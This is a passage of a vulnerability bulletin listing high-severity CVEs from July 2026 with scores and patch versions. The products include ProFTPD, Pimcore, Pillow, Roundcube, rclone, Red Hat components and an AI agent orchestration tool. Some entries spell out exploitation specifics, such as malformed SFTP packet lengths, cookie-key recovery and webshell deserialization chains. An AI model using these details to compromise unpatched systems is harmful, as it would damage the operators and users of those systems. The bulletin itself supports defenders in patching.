| pglombardo--PasswordPusher | PasswordPusher before 2.9.2 contains a brute-force vulnerability in the POST /p/:token/access endpoint that lacks route-specific rate limiting and per-push lockout mechanisms. Attackers who know a push token can systematically guess passphrases at 120 attempts per minute without triggering any push-level defense, making short or dictionary-derived passphrases practically recoverable within hours or days.                                                                                                                                                                                                                                            | 2026-07-13 | 7.5        | <a href="#">CVE-2026-61458</a> |
| Phil Kurth--Advanced Forms | Missing Authorization vulnerability in Phil Kurth Advanced Forms advanced-forms allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Advanced Forms: from n/a through <= 1.9.3.7.                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57378</a> |
| phpMyFAQ--phpMyFAQ         | phpMyFAQ before 4.1.5 contains a privilege escalation vulnerability in the user/add API endpoint that allows non-SuperAdmin administrators to create SuperAdmin accounts. A delegated administrator with USER_ADD/EDIT/DELETE permissions can call POST /admin/api/user/add with isSuperAdmin: true and attacker-chosen credentials to create a SuperAdmin account, then authenticate as that account to achieve full instance takeover.                                                                                                                                                                                                                           | 2026-07-15 | 8.8        | <a href="#">CVE-2026-57996</a> |
| pi-hole--pi-hole           | Pi-hole is a DNS sinkhole that protects devices from unwanted content without installing any client-side software. From 6.0 to 6.4.2, a user with code execution as the unprivileged pihole user can escalate to root by replacing /etc/pihole/logrotate. The replacement is laundered to root:root ownership by pihole-FTL-prestart.sh and then parsed as root by the daily pihole flush cron, executing firstaction shell as uid 0. This issue is fixed in version 6.4.3.                                                                                                                                                                                        | 2026-07-14 | 8.8        | <a href="#">CVE-2026-50130</a> |
| picu--picu                 | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in picu picu picu allows Stored XSS.This issue affects picu: from n/a through <= 3.5.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57387</a> |
| pimcore--pimcore           | Pimcore is an Open Source Data & Experience Management Platform. Prior to 11.5.17 (LTS) and 12.3.6, the columnConfigAction endpoint in bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php passes malicious SQL configuration through CustomReportController:columnConfigAction, SqlAdapter::getColumns, SqlAdapter::buildQueryString, and Db::fetchAssociative(), allowing an attacker with                                                                                                                                                                                                                                             | 2026-07-17 | 8.7        | <a href="#">CVE-2026-44739</a> |

# High Vulnerabilities

| Primary Vendor -- Product    | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                              | the reports_config permission to use arbitrary SELECT queries, UNION statements, dangerous database functions, and error-based SQL injection to exfiltrate or manipulate database data. This issue is fixed in versions 11.5.17 (LTS) and 12.3.6.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |            |            |                                |
| pimcore--pimcore             | Pimcore is an Open Source Data & Experience Management Platform. Prior to 11.5.17 (LTS) and 12.3.7, multiple Pimcore locations call PHP's unserialize() on data from database columns and filesystem files without the allowed_classes restriction, including lib/Tool/Authentication.php, models/Site/Dao.php, models/DataObject/ClassDefinition/CustomLayout/Dao.php, models/Tool/TmpStore/Dao.php, models/Asset/WebDAV/Service.php, and admin-ui-classic-bundle/src/Helper/Dashboard.php, enabling object injection and remote code execution if an attacker can control the serialized data source. This issue is fixed in versions 11.5.17 (LTS) and 12.3.7.                                                                                                                                  | 2026-07-17 | 8          | <a href="#">CVE-2026-45162</a> |
| pimcore--pimcore             | Pimcore is an Open Source Data & Experience Management Platform. Prior to 11.5.17 (LTS) and 12.3.7, Pimcore's WebDAV asset endpoint exposes a MOVE operation through /asset/webdav{path} without an authentication plugin in bundles/CoreBundle/src/Controller/WebDavController.php, and models/Asset/WebDAV/Tree.php performs asset mutation and deletion through models/Asset.php before checking a current Pimcore user or the rename, delete, create, or publish permissions, allowing unauthorized asset deletion, moves, or overwrites. This issue is fixed in versions 11.5.17 (LTS) and 12.3.7.                                                                                                                                                                                            | 2026-07-17 | 8.1        | <a href="#">CVE-2026-45260</a> |
| plank--laravel-mediable      | Laravel-Mediable before 7.0.0 contains a path traversal vulnerability in the File::sanitizePath() function that allows attackers to write uploaded files to arbitrary locations by controlling the directory argument passed to MediaUploader::toDestination(). Attackers can exploit the permissive character-class regex that allows both dot and slash characters combined with an ineffective trailing trim() call to bypass sanitization and upload files to sensitive locations such as the document root, environment configuration files, or application configuration directories, enabling remote code execution.                                                                                                                                                                        | 2026-07-13 | 8.8        | <a href="#">CVE-2026-49970</a> |
| plank--laravel-mediable      | Laravel-Mediable before 7.0.0 contains a file upload vulnerability that allows unauthenticated attackers to achieve remote code execution by uploading a file with an embedded PHP extension disguised within a double extension such as shell.php.jpg. The PATHINFO_FILENAME extraction preserves the inner .php extension in the base name, and on misconfigured Apache or nginx servers that execute any filename containing .php as PHP, the stored file is interpreted as executable code while all MIME type, extension, and aggregate type validation checks pass due to the outer .jpg extension.                                                                                                                                                                                          | 2026-07-13 | 8.8        | <a href="#">CVE-2026-49972</a> |
| plank--laravel-mediable      | Laravel-Mediable before 7.0.0 contains a server-side request forgery vulnerability that allows remote attackers to issue arbitrary HTTP requests from the server by supplying unvalidated caller-controlled URLs to endpoints backed by MediaUploader::fromSource(). Attackers can craft URLs targeting RFC-1918 addresses, loopback interfaces, cloud metadata endpoints, or file:// URIs through RemoteUrlAdapter to reach internal infrastructure, retrieve sensitive files, and exfiltrate cloud credentials such as IAM tokens from instance metadata services.                                                                                                                                                                                                                               | 2026-07-13 | 7.4        | <a href="#">CVE-2026-49969</a> |
| poco-ai--poco-claw           | A vulnerability was identified in poco-ai poco-claw up to 0.5.4. This issue affects the function run_task of the file executor/app/api/v1/task.py. The manipulation of the argument callback_url leads to server-side request forgery. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. The reported GitHub issue was closed automatically due to inactivity.                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-17 | 7.3        | <a href="#">CVE-2026-16016</a> |
| PreferredAI--cornac          | Cornac before 2.6.0 contains a path traversal (Tar Slip) vulnerability that allows attackers to write arbitrary files outside the intended cache directory by supplying a crafted TAR archive containing ../ sequences, absolute paths, or symlink/hardlink entries to the _extract_archive() function in cornac/utlis/download.py. Attackers can trigger this vulnerability through the built-in dataset loaders, which automatically download and extract archives, causing archive.extractall() to write files to arbitrary locations on the filesystem accessible to the running process.                                                                                                                                                                                                      | 2026-07-15 | 9.1        | <a href="#">CVE-2026-43637</a> |
| PrestaShop--ps_facetedsearch | PrestaShop ps_facetedsearch is a module that adds layered navigation filters. From 3.0.0 until 4.0.4, the ps_facetedsearch module rebuilds selected search filters from the request URL, and the value of a slider filter, price or weight, is taken from the URL without sufficient validation and stored in an internal filter-block cache where it is serialized and later read back with a raw native unserialize() in src/Filters/Block.php. By crafting that value, an unauthenticated attacker can smuggle a malicious serialized PHP object into the cache, and when it is deserialized, a gadget chain writes an arbitrary PHP file inside the modules/ps_facetedsearch/ directory, which is then used as a webshell to run commands on the server. This issue is fixed in version 4.0.4. | 2026-07-17 | 10         | <a href="#">CVE-2026-54159</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                                                                                           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| ProFTPD Project--ProFTPD                                                                                                            | ProFTPD mod_sftp contains a heap-based buffer overflow reachable by an authenticated SFTP user. The fxp_packet_read() function accepts the attacker-supplied 32-bit big-endian SFTP packet length without a minimum sanity check. A value of 0 causes an unsigned subtraction elsewhere in the read path to underflow to approximately 4 GB. That oversized request reaches the core memory allocator, where the rounded size is computed in size_t but passed to new_block() as a 32-bit int; the low 32 bits of 0x100000000 are 0, so new_block() returns a small (~512-byte) block while the caller is told it received ~4 GB. The subsequent fill loop then streams attacker-controlled bytes past the end of the 544-byte allocation, producing an attacker-controlled heap buffer overflow. An authenticated user can crash the per-connection ProFTPD session child on demand with a single malformed SFTP packet (packet_len=0 followed by a body greater than approximately 544 bytes), producing reliable authenticated remote denial of service. Depending on heap layout and adjacent allocations, heap metadata corruption and further consequences beyond denial of service may be possible, though only denial of service is demonstrated by the supplied proof of concept. | 2026-07-18 | 7.5        | <a href="#">CVE-2026-53994</a> |
| Proliz Software Ltd. Co.--Proliz's OBS                                                                                              | Insertion of sensitive information into sent data vulnerability in Proliz Software Ltd. Co. Proliz's OBS allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects Proliz's OBS: before v3.6.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-17 | 7.5        | <a href="#">CVE-2026-7189</a>  |
| properfraction--MailOptin                                                                                                           | Incorrect Privilege Assignment vulnerability in properfraction MailOptin mailoptin allows Privilege Escalation.This issue affects MailOptin: from n/a through <= 1.2.77.3.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-13 | 9.8        | <a href="#">CVE-2026-57813</a> |
| properfraction--Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content ProfilePress | The Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content - ProfilePress plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 4.16.18 via the allowed_mime_types function. This is due to the unconditional registration of an upload_mimes filter that adds executable file extensions (.exe, .apk, .msi) to the global WordPress MIME allowlist, without scoping the expansion to digital-product upload contexts. This makes it possible for authenticated attackers, with author-level access and above, to upload files that may be executable, which makes remote code execution possible. This filter is registered globally on every request regardless of whether the digital products feature is configured or in use, meaning the expanded MIME allowlist affects all WordPress upload contexts site-wide.                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-17 | 8.8        | <a href="#">CVE-2026-13352</a> |
| Property Hive--PropertyHive                                                                                                         | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Property Hive PropertyHive propertyhive allows Reflected XSS.This issue affects PropertyHive: from n/a through <= 2.2.3.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57381</a> |
| Proxy & VPN Blocker--Proxy & VPN Blocker                                                                                            | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Proxy & VPN Blocker Proxy & VPN Blocker proxy-vpn-blocker allows Stored XSS.This issue affects Proxy & VPN Blocker: from n/a through <= 3.5.8.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57399</a> |
| puma--puma                                                                                                                          | Puma is a Ruby/Rack web server built for parallelism. From 5.5.0 until 7.2.1 and 8.0.2, when PROXY protocol v1 support is enabled, Puma reads incoming bytes into an internal buffer while waiting for CRLF to determine whether a PROXY v1 line is present, allowing an attacker that continuously sends bytes without CRLF to cause unbounded in-process memory growth and additional CPU cost from repeatedly scanning the growing buffer. This issue is fixed in versions 7.2.1 and 8.0.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-14 | 7.5        | <a href="#">CVE-2026-47736</a> |
| puma--puma                                                                                                                          | Puma is a Ruby/Rack web server built for parallelism. From 5.5.0 until 7.2.1 and 8.0.2, Puma is vulnerable to source IP spoofing when set_remote_address proxy_protocol: :v1 is enabled and persistent connections are used because Puma incorrectly re-parses PROXY protocol headers after each keep-alive request on the same connection, allowing an attacker to inject a second PROXY header and overwrite REMOTE_ADDR. This issue is fixed in versions 7.2.1 and 8.0.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-14 | 7.5        | <a href="#">CVE-2026-47737</a> |
| purethemes--WorkScout-Core                                                                                                          | Cross-Site Request Forgery (CSRF) vulnerability in purethemes WorkScout-Core workscout-core allows Authentication Bypass.This issue affects WorkScout-Core: from n/a through <= 1.7.08.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-13 | 8.8        | <a href="#">CVE-2026-57786</a> |
| pyasn1--pyasn1                                                                                                                      | pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the BER decoder shared by the CER and DER codecs parses long-form tags by accumulating continuation octets without an upper bound on the tag ID size, allowing a crafted input to force construction of an arbitrarily large integer with CPU cost growing quadratically and to trigger unhandled ValueError exceptions in Python 3.11+ error formatting paths. Any application decoding untrusted BER, CER, or DER input is affected. This issue is fixed in version 0.6.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-14 | 7.5        | <a href="#">CVE-2026-59884</a> |
| pyasn1--pyasn1                                                                                                                      | pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the BER, CER, and DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs, so a small crafted payload containing an OID with                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-14 | 7.5        | <a href="#">CVE-2026-59885</a> |



# High Vulnerabilities

| Primary Vendor -- Product                          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                    | many arcs consumes excessive CPU per decode() call and can deny service to applications that decode untrusted ASN.1 data. The corresponding encoders have the same quadratic behavior when an application re-encodes previously decoded attacker-supplied values. This issue is fixed in version 0.6.4.                                                                                                                                                                                                                                                                                      |            |            |                                |
| pyasn1--pyasn1                                     | pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the univ.Real type converted its mantissa, base, and exponent value to a Python float using exact big-integer exponentiation. A BER, CER, or DER encoded REAL value only a few bytes long can carry a very large exponent, causing float conversion through prettyPrint(), str(), comparison, arithmetic, int(), or an explicit float() call to consume excessive CPU and memory and hang applications that decode untrusted ASN.1 data and then print, log, or compare decoded objects. This issue is fixed in version 0.6.4. | 2026-07-14 | 7.5        | <a href="#">CVE-2026-59886</a> |
| python-pillow--Pillow                              | Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.                                                                                                                                                                   | 2026-07-14 | 8.2        | <a href="#">CVE-2026-59197</a> |
| python-pillow--Pillow                              | Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.                                                                                                                                                                                                                                                                                       | 2026-07-14 | 7.5        | <a href="#">CVE-2026-59199</a> |
| python-pillow--Pillow                              | Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.                                                                                                                                                                                                                                   | 2026-07-14 | 7.5        | <a href="#">CVE-2026-59200</a> |
| python-pillow--Pillow                              | Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.                                                                                                                                                                                                                                                                                  | 2026-07-14 | 7.5        | <a href="#">CVE-2026-59205</a> |
| QuantumCloud--ChatBot                              | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in QuantumCloud ChatBot chatbot allows Stored XSS.This issue affects ChatBot: from n/a through <= 8.3.7.                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57363</a> |
| quantumcloud--Simple Business Directory Pro        | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in quantumcloud Simple Business Directory Pro simple-business-directory-pro allows SQL Injection.This issue affects Simple Business Directory Pro: from n/a through <= 15.9.4.                                                                                                                                                                                                                                                                                                            | 2026-07-13 | 9.3        | <a href="#">CVE-2026-57707</a> |
| quantumcloud--WoowBot Pro Max                      | Unrestricted Upload of File with Dangerous Type vulnerability in quantumcloud WoowBot Pro Max woowbot-pro-max allows Using Malicious Files.This issue affects WoowBot Pro Max: from n/a through <= 14.1.7.                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-13 | 9.9        | <a href="#">CVE-2026-57710</a> |
| rclone--rclone                                     | Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Prior to 1.74.4, rclone serve restic --private-repos enforces authorization using the routed user path segment while building the backend object key from the raw uncleaned URL path, allowing an authenticated user to include .. in a request such as ../../config and read, overwrite, or delete another user's private repository on backends that clean path components. This issue is fixed in version 1.74.4.                                                           | 2026-07-14 | 8.8        | <a href="#">CVE-2026-59733</a> |
| rclone--rclone                                     | Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Prior to 1.74.4, with -l/--links, rclone serializes symlinks as .rclone link text objects and recreates them on a local destination without validating the target, allowing an attacker-controlled remote to plant an escaping symlink and cause a following object write to land outside the destination with attacker-chosen contents. This issue is fixed in version 1.74.4.                                                                                                | 2026-07-14 | 7.5        | <a href="#">CVE-2026-54572</a> |
| RealMag777--Active Products Tables for WooCommerce | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in RealMag777 Active Products Tables for WooCommerce profit-products-tables-for-woocommerce allows DOM-Based XSS.This issue affects Active Products Tables for WooCommerce: from n/a through <= 1.1.0.                                                                                                                                                                                                                                                                                    | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57409</a> |
| Realtyna--Realtyna Organic IDX plugin              | Improper Control of Generation of Code ('Code Injection') vulnerability in Realtyna Realtyna Organic IDX plugin real-estate-listing-realtyna-wpl allows Remote Code Inclusion.This issue affects Realtyna Organic IDX plugin: from n/a through <= 5.2.0.                                                                                                                                                                                                                                                                                                                                     | 2026-07-13 | 10         | <a href="#">CVE-2026-57811</a> |
| Red Hat--Confidential Compute Attestation          | A flaw was found in CRI-O. The fix for a previous vulnerability (CVE-2022-4318) was incorrect, allowing it to be bypassed. An attacker capable of setting environment variables on a container can inject a newline character into the HOME environment variable. This issue allows the addition of arbitrary lines into /etc/passwd by use of a specially crafted environment variable.                                                                                                                                                                                                     | 2026-07-15 | 7.8        | <a href="#">CVE-2026-15809</a> |



# High Vulnerabilities

| Primary Vendor -- Product                                   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Red Hat--Pen Drive Powered by Red Hat Lightspeed            | A privilege escalation vulnerability was found in the incluster-checks tool for OpenShift. The tool creates privileged debug pods with host filesystem access in the shared default namespace, where any user with the standard edit role can exec into them and obtain root access on cluster nodes.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-13 | 7.5        | <a href="#">CVE-2026-15584</a> |
| Red Hat--Red Hat Ansible Automation Platform 2.6 for RHEL 9 | A flaw was found in the AAP Gateway Envoy proxy configuration. The non-mTLS route to EDA event streams does not remove the Subject HTTP header from client requests, despite the source code defining requestHeadersToRemove for this header. An unauthenticated remote attacker can inject a spoofed Subject header matching a legitimate client certificate DN to bypass mTLS authentication and inject arbitrary events into protected EDA event streams.                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-15 | 8.2        | <a href="#">CVE-2026-12382</a> |
| Red Hat--Red Hat Enterprise Linux 10                        | A flaw was found in PipeWire, a multimedia server. This vulnerability allows an attacker to escape sandboxed applications, such as Flatpak, by exploiting PipeWire's PulseAudio compatibility layer. An attacker with minimal permissions within a sandboxed environment can load a malicious library, leading to arbitrary code execution outside the sandbox and potential compromise of the user's system.                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-16 | 8.8        | <a href="#">CVE-2026-5674</a>  |
| Red Hat--Red Hat Enterprise Linux 10                        | A flaw was found in libsoup's WebSocket implementation when using the permessage-deflate extension. The extension's decompression loop (inflate()) processes data in chunks without enforcing an upper boundary limit on the output buffer size. While libsoup limits the incoming compressed frame size via max_incoming_payload_size, it fails to track or limit memory allocation during decompression. A separate check for decompressed size (max_total_message_size) exists but executes only after inflation is complete, and it is entirely disabled by default for client connections. A remote, unauthenticated attacker can exploit this by sending a small, highly compressed payload (a decompression bomb), causing unbounded memory allocation that triggers an Out-of-Memory (OOM) crash and a Denial of Service (DoS). | 2026-07-14 | 7.5        | <a href="#">CVE-2026-15709</a> |
| Red Hat--Red Hat Enterprise Linux 10                        | A vulnerability was found in libsoup's WebSocket frame parsing implementation. The library fails to validate length rules specified in RFC 6455 §5.5, which mandates that all WebSocket control frames (e.g., PING, PONG, CLOSE) contain a payload of 125 bytes or less. A remote, unauthenticated attacker can exploit this by sending a non-compliant, oversized control frame. Because the parser handles this protocol violation improperly instead of throwing an immediate connection termination error, it triggers an internal processing crash, resulting in a remote denial of service (DoS) for applications utilizing libsoup WebSockets.                                                                                                                                                                                   | 2026-07-14 | 7.5        | <a href="#">CVE-2026-15711</a> |
| Red Hat--Red Hat Enterprise Linux 10                        | A flaw was found in xdgmime. A heap-based buffer overflow can be triggered in _xdg_mime_magic_parse_magic_line() in the xdgmime.c file on little-endian systems when an attacker-controlled MIME magic file in a user-writable XDG data location (e.g., in the \$XDG_DATA_HOME/mime/magic path) is parsed by an application performing MIME type detection (e.g., via g_content_type_guess()). When performing byte-swap, incorrect pointer arithmetic on the write side causes an out-of-bounds write of 2 bytes, resulting in an application crash or memory corruption.                                                                                                                                                                                                                                                              | 2026-07-17 | 7.1        | <a href="#">CVE-2026-16118</a> |
| Red Hat--Red Hat Enterprise Linux 10                        | A flaw was found in QEMU. This vulnerability allows a local attacker within a guest virtual machine to write data beyond its allocated memory. This occurs when cpu_physical_memory_map() returns a shorter length than expected, leading to an out-of-bounds write. Successful exploitation could result in unauthorized access to guest memory or corruption of heap-allocated objects, potentially causing information disclosure, data integrity issues, or a denial of service.                                                                                                                                                                                                                                                                                                                                                    | 2026-07-16 | 7.8        | <a href="#">CVE-2026-3842</a>  |
| Red Hat--Red Hat OpenShift AI (RHOAI)                       | A flaw was found in the vllm-orchestrator-gateway component. The system's production binary logs all incoming authorization headers and full chat payloads, which may contain personally identifiable information (PII) and secrets, to persistent logs. This sensitive data, including bearer tokens and chat content, can be accessed by any user with logging privileges. This vulnerability leads to information disclosure, potentially allowing an attacker to harvest credentials and sensitive conversation content.                                                                                                                                                                                                                                                                                                            | 2026-07-13 | 7.5        | <a href="#">CVE-2026-15574</a> |
| Red Hat--Red Hat OpenShift GitOps                           | A flaw was found in the OpenShift GitOps operator. The ClusterRole reconciler does not validate resource ownership when reconciling ClusterRole objects. A namespace-scoped Argo CD instance can trigger deletion of a ClusterRole owned by a cluster-scoped Argo CD instance by crafting a name collision, resulting in a denial of service.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-15 | 7.7        | <a href="#">CVE-2026-14251</a> |
| rejetto--hfs                                                | Rejetto HFS 3.0.0 through 3.2.0 derives its session-cookie signing key from the non-cryptographic Math.random() generator and discloses outputs of the same generator to unauthenticated clients during login. A remote attacker can collect a small number of login responses, reconstruct the generator's state, recover the                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-13 | 9.8        | <a href="#">CVE-2026-61500</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                 | signing key, and forge a valid administrator session cookie, leading to full administrative access and remote code execution via the server_code configuration feature.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |            |            |                                |
| RexTheme--Cart Lift                                             | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in RexTheme Cart Lift cart-lift allows Stored XSS.This issue affects Cart Lift: from n/a through <= 3.1.57.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57417</a> |
| Room 34 Creative Services, LLC--ICS Calendar                    | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Room 34 Creative Services, LLC ICS Calendar ics-calendar allows Reflected XSS.This issue affects ICS Calendar: from n/a through <= 12.1.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-13 | 7.1        | <a href="#">CVE-2026-59516</a> |
| Roundcube--Webmail                                              | In Roundcube Webmail before 1.6.17 and 1.7.x before 1.7.2, there is Stored Cross-Site Scripting (XSS) via a crafted plain-text email message. The attacker-controlled JavaScript executes within the victim's authenticated session simply by opening or previewing the message (zero-click).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-14 | 7.2        | <a href="#">CVE-2026-54433</a> |
| Roundcube--Webmail                                              | In Roundcube Webmail before 1.6.17 and 1.7.x before 1.7.2, insufficient Cascading Style Sheets (CSS) sanitization in HTML e-mail messages may lead to SSRF or Information Disclosure, e.g., if stylesheet links point to local network hosts. NOTE: this issue exists because of insufficient fixes for CVE-2026-35540 and CVE-2026-48843.                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-14 | 7.2        | <a href="#">CVE-2026-62643</a> |
| rustfs--console                                                 | RustFS Console is a web management console for the RustFS distributed file system. From 0.1.7 until 0.1.10, the RustFS Console components/object/preview-modal.tsx and components/object/pdf-viewer.tsx extension-based PDF preview path can render HTML content uploaded as .pdf, allowing stored cross-site scripting in the management console and exposure of administrator AccessKeyId, SecretAccessKey, and SessionToken values. This is caused by a regression of CVE-2026-27822. This vulnerability is fixed in 0.1.10.                                                                                                                                                                                                                                                               | 2026-07-15 | 9          | <a href="#">CVE-2026-62378</a> |
| ruvnet--agentic-flow                                            | Agentic-Flow is an AI agent orchestration platform. Prior to 2.0.14, agentic-flow MCP server tools in src/mcp/standalone-stdio.ts, src/mcp/fastmcp/servers/claude-flow-sdk.ts, src/mcp/fastmcp/servers/stdio-full.ts, src/mcp/fastmcp/servers/http-streaming-updated.ts, src/mcp/fastmcp/servers/http-sse.ts, src/mcp/fastmcp/servers/poc-stdio.ts, src/mcp/fastmcp/tools/agent/{execute,list,parallel}.ts, src/mcp/fastmcp/tools/swarm/orchestrate.ts, and src/mcp/fastmcp/tools/hooks/pretrain.ts interpolated attacker-influenceable tool parameters such as agent, task, name, language, and agentdb directly into shell command strings passed to execSync(), allowing arbitrary OS command execution with the privileges of the MCP server user. This issue is fixed in version 2.0.14. | 2026-07-17 | 8.8        | <a href="#">CVE-2026-58195</a> |
| Saad Iqbal--APIExperts Square for WooCommerce                   | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Saad Iqbal APIExperts Square for WooCommerce woosquare allows Blind SQL Injection.This issue affects APIExperts Square for WooCommerce: from n/a through <= 4.7.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-13 | 8.5        | <a href="#">CVE-2026-57810</a> |
